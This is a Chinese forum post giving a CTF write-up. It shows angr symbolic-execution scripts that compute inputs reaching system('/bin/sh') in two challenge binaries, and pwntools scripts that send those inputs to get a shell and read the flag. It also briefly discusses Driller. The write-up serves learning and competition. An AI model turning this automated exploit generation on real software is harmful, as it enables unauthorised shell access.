首页
社区
课程
招聘
[原创]符号执行在自动化Pwn中的简单利用
2021-3-31 10:34 13065

[原创]符号执行在自动化Pwn中的简单利用

2021-3-31 10:34
13065

前几天去三亚打了个自动化Pwn类型的线下赛(纵横杯)。作为一个RE选手,咱也不懂fuzz和AFL,于是就整了一手符号执行来解题。虽然最后没拿到奖,但在准备比赛的过程中还是学到了很多东西,这里总结一下能纯靠符号执行解决的两种题型。

0x00. 符号执行基础

符号执行是指在不执行程序的前提下,用符号值表示程序变量的值,然后模拟程序执行来进行相关分析的技术。与具体执行不同,具体执行每次执行仅存在一条唯一的执行路径(即程序控制流),而符号执行会探索所有可能的执行路径,并用符号值表示到达该路径所需要的输入条件。
用下述程序举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int m=M, n=N, q=Q;
int x1=0,x2=0,x3=0;
if(m!=0)
{
    x1=-2;
}
if(n<12)
{
    if(!m && q)
    {
        x2=1;
    }
    x3=2;
}
assert(x1+x2+x3!=3)

上述代码是一个简单的c语言分支结构代码,它的输入是M,N,Q三个变量;输出是x1,x2,x3的三个变量的和。我们这里设置的条件是想看看什么样的输入向量<M,N,Q>的情况下,得到的三个输出变量的和等于3. 那么我们通过下面的树形结构来看看所有的情况:
图片描述
从上图中我们可以看到执行到每条路径的输入需要满足的条件,当R=3时,输入需要满足的条件是M != 0 && N < 5 && Q != 0

 

本文使用的符号执行工具是angr,有关angr的使用方法可以查看官方文档

0x01. 题型1:程序存在逻辑问题,触发错误逻辑getshell

本次纵横杯的第5题,程序非常简单,伪代码如下:
图片描述
图片描述
这题大体是个while+switch结构,只要能执行到上图中红框部分即可getshell。程序非常简单,所以可以直接用angr一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
import angr
from binascii import b2a_hex
 
def angr_run():
    proj = angr.Project('./bin5')
    state = proj.factory.entry_state()
    simgr = proj.factory.simgr(state)
    simgr.explore(find=0x08048783)
    payload = simgr.found[0].posix.dumps(0)
    print(f'payload={b2a_hex(payload)}')
 
angr_run()

输出:
图片描述
因为angr和pwntools不兼容,所以计算payload和getshell我分成了两个脚本来写,getshell脚本:

1
2
3
4
5
6
7
8
9
10
from pwn import *
from binascii import a2b_hex
import re
 
sh = process('./bin5')
sh.sendline(a2b_hex('310a320a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')

输出:
图片描述
比赛之前也没想到有这种可以直接用angr一把梭的题。。。痛失1w奖金。

0x02. 题型2:简单的路径搜索,考察AI对分支的判断

线上调试时的第一道例题,比赛前我针对这道例题的结构写了个exp,没想到比赛题的结构完全不一样,所以也没跑出来呜呜。但我觉得这道例题对我们学习符号执行帮助也很大,所以拿出讲一讲。
这题的核心是通过前面的n各分支,只能要执行到最后即可getshell:
图片描述
CFG大概是这个样子,总之非常恐怖:
图片描述
这题没法用angr直接explore,于是我在群里问了几个师傅的想法,拿到了师傅的一篇博客(赚到赚到):关于Faster的那些事...

 

总的来说,用符号执行解决这种分支问题有两个思路:

  1. 找到所有从函数入口到system函数的路径,对每条路径进行操作,在每两个基本块之间进行explore
  2. 找到所有从函数入口到system函数的路径,将其他不在路径上的基本块地址添加到avoid_list中,再从函数入口开始explore

我这里采取的是第二种思路,因为如果考虑多条路径的情况第一种思路很难写。

 

这里计算avoid_list的原因是此题的分支数巨大,每一个分支条件语句都可能会使当前的路径再分支出一条新的路径,而且这是”指数级”增长的,也就是说符号执行所需要的时间和空间都会随分支数的增长而”指数级”增长,这显然是我们不愿看到的。
所以我们需要计算avoid_list,使符号执行引擎忽略某些根本不可能到达system函数的路径,这样在一定程度上避免了上述问题。

 

因为是自动化pwn,一开始我们并不知道system函数的地址,所以先求得system函数的地址(题型1中的exp省略了这个步骤):

1
2
3
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
proj_cfg = proj.analyses.CFGFast()
system_addr = get_system_addr(proj_cfg)
1
2
3
4
5
6
7
8
9
'''
获取system函数的地址
'''
def get_system_addr(cfg):
    for func_addr in cfg.functions:
        func = cfg.functions.get(func_addr)
        if func.name == 'system':
            return func_addr
    return None

然后找到哪些函数中存在call system指令,找到这些函数的地址,以及call system指令所在基本块的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if system_addr == None:
    return []
print(f'Found system function in {hex(system_addr)}.')
payload_list = []
for func_addr in proj_cfg.functions:
    try:
        func = proj_cfg.functions.get(func_addr)
        cfg = func.transition_graph
        cfg = to_supergraph(cfg)
 
        for node in cfg.nodes:
            block = proj.factory.block(node.addr)
            for inst in block.capstone.insns:
                if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
                    target_func = func_addr
                    target_block = block.addr
                    target_cfg = cfg
                    print(f'Found target function in {hex(target_func)}')
                    print(f'Found target block in {hex(target_block)}')
                    payload_list += explore_func(proj, target_func, target_block, target_cfg)
    except Exception as ex:
        print(ex)

对调用了system函数的函数进行符号执行,也就是调用上述代码中的explore_func函数,传入目标函数的地址、system("/bin/sh")所在基本块的地址以及目标函数的CFG。

 

按照我们之前说的思路,首先我们要找到一条从函数入口到目标基本块的一条路径,然后将不在路径上的其他基本块地址添加到avoid_list中。实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
    if start.addr == target:
        return (True, [])
    succs = list(cfg.successors(start))
    if len(succs) == 0:
        return (False, [start.addr])
    elif len(succs) == 1:
        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
        if can_reach_target:
            return (True, avoid_list)
        else:
            avoid_list.append(start.addr)
            return (False, avoid_list)
    elif len(succs) == 2:
        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
        if can_reach_target0 and can_reach_target1:
            return (True, [])
        elif not can_reach_target0 and not can_reach_target1:
            avoid_list = avoid_list0 + avoid_list1
            avoid_list.append(start.addr)
            return (False, avoid_list)
        else:
            avoid_list = avoid_list0 + avoid_list1
            return (True, avoid_list)
    else:
        exit(0)

搜索路径的方法是DFS(深度优先搜索),不了解DFS的朋友可以看一看这篇文章:图的基本算法(BFS和DFS)

 

得到了avoid_list之后就可以直接进行explore了:

1
2
3
4
5
6
7
8
9
10
11
12
13
'''
对目标函数进行符号执行,求解到达call system执行所需要的输入
'''
def explore_func(proj, target_func, target_block, target_cfg):
    can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)
    state = proj.factory.call_state(target_func)
    simgr = proj.factory.simgr(state)
    simgr.use_technique(angr.exploration_techniques.DFS())
    simgr.explore(find=target_block, avoid=avoid_list)
    payload_list = []
    for found in simgr.found:
        payload_list.append(found.posix.dumps(0))
    return payload_list

注意这里的:

1
simgr.use_technique(angr.exploration_techniques.DFS())

含义是采取DFS策略进行符号执行。angr默认的符号执行方式类似BFS,即一次会有多个active state同时进行step,DFS策略会使符号执行过程中一次只有一个active state进行step:
图片描述
其实我也没明白这里为什么用DFS会快一点,总之能跑就行233。

 

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import angr
from angrmanagement.utils.graph import to_supergraph
from binascii import b2a_hex
 
'''
获取system函数的地址
'''
def get_system_addr(cfg):
    for func_addr in cfg.functions:
        func = cfg.functions.get(func_addr)
        if func.name == 'system':
            return func_addr
    return None
 
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
    if start.addr == target:
        return (True, [])
    succs = list(cfg.successors(start))
    if len(succs) == 0:
        return (False, [start.addr])
    elif len(succs) == 1:
        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
        if can_reach_target:
            return (True, avoid_list)
        else:
            avoid_list.append(start.addr)
            return (False, avoid_list)
    elif len(succs) == 2:
        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
        if can_reach_target0 and can_reach_target1:
            return (True, [])
        elif not can_reach_target0 and not can_reach_target1:
            avoid_list = avoid_list0 + avoid_list1
            avoid_list.append(start.addr)
            return (False, avoid_list)
        else:
            avoid_list = avoid_list0 + avoid_list1
            return (True, avoid_list)
    else:
        exit(0)
 
'''
对目标函数进行符号执行,求解到达call system执行所需要的输入
'''
def explore_func(proj, target_func, target_block, target_cfg):
    can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)
    state = proj.factory.call_state(target_func)
    simgr = proj.factory.simgr(state)
    simgr.use_technique(angr.exploration_techniques.DFS())
    simgr.explore(find=target_block, avoid=avoid_list)
    payload_list = []
    for found in simgr.found:
        payload_list.append(found.posix.dumps(0))
    return payload_list
 
'''
求解所有可行的payload
'''
def explore_payload(bin_path):
    proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
    proj_cfg = proj.analyses.CFGFast()
    system_addr = get_system_addr(proj_cfg)
    if system_addr == None:
        return []
    print(f'Found system function in {hex(system_addr)}.')
    payload_list = []
    for func_addr in proj_cfg.functions:
        try:
            func = proj_cfg.functions.get(func_addr)
            cfg = func.transition_graph
            cfg = to_supergraph(cfg)
 
            for node in cfg.nodes:
                block = proj.factory.block(node.addr)
                for inst in block.capstone.insns:
                    if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
                        target_func = func_addr
                        target_block = block.addr
                        target_cfg = cfg
                        print(f'Found target function in {hex(target_func)}')
                        print(f'Found target block in {hex(target_block)}')
                        payload_list += explore_func(proj, target_func, target_block, target_cfg)
        except Exception as ex:
            print(ex)
    return payload_list
 
def angr_run():
    payload_list = explore_payload('./bin1')
    print(payload_list)
    for payload in payload_list:
        print('payload=' +  b2a_hex(payload).decode())
 
angr_run()

输出:
图片描述
getshell:

1
2
3
4
5
6
7
8
9
10
from pwn import *
from binascii import a2b_hex
import re
 
sh = process('./bin1')
sh.sendline(a2b_hex('310a6dbe0a0a2b310a31240a0a310a310a0a310a310a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')

输出:
图片描述

 

两道题目的文件可以在附件中下载。

0x03. 符号执行与fuzz的结合

符号执行与fuzz结合一个比较著名的例子是Driller,我们队在比赛中也使用了Driller,可惜没达到效果。
Driller在AFL的基础上加入了动态符号执行引擎,当模糊测试发生stuck时,使用动态符号执行去突破这些限制,生成满足fuzz需求的新输入,使得fuzz能够继续执行。
总体上说,Driller结合了AFL的高效、低消耗、快速的优点和动态符号执行探索能力强的优点,又避免了AFL较难突破特殊的边界和动态符号执行路径爆炸的问题。
更详细的内容可以参考这篇文章:【Driller】Driller介绍及源码分析


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-3-31 17:55 被34r7hm4n编辑 ,原因:
上传的附件:
  • bin5 (5.48kb,54次下载)
  • bin1 (53.48kb,49次下载)
收藏
点赞17
打赏
分享
最新回复 (5)
雪    币: 6517
活跃值: (8420)
能力值: ( LV17,RANK:787 )
在线值:
发帖
回帖
粉丝
无名侠 12 2021-3-31 13:08
2
0
太卷了。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_X_120 2021-4-6 09:38
3
0
雪    币: 17842
活跃值: (59853)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2021-4-6 10:00
4
0
感谢分享~
雪    币: 12040
活跃值: (15364)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-4-6 11:21
5
0
感谢分享
雪    币: 481
活跃值: (2163)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Zard_ 2021-4-6 15:21
6
0
niu 感谢您的分析和分享
游客
登录 | 注册 方可回帖
返回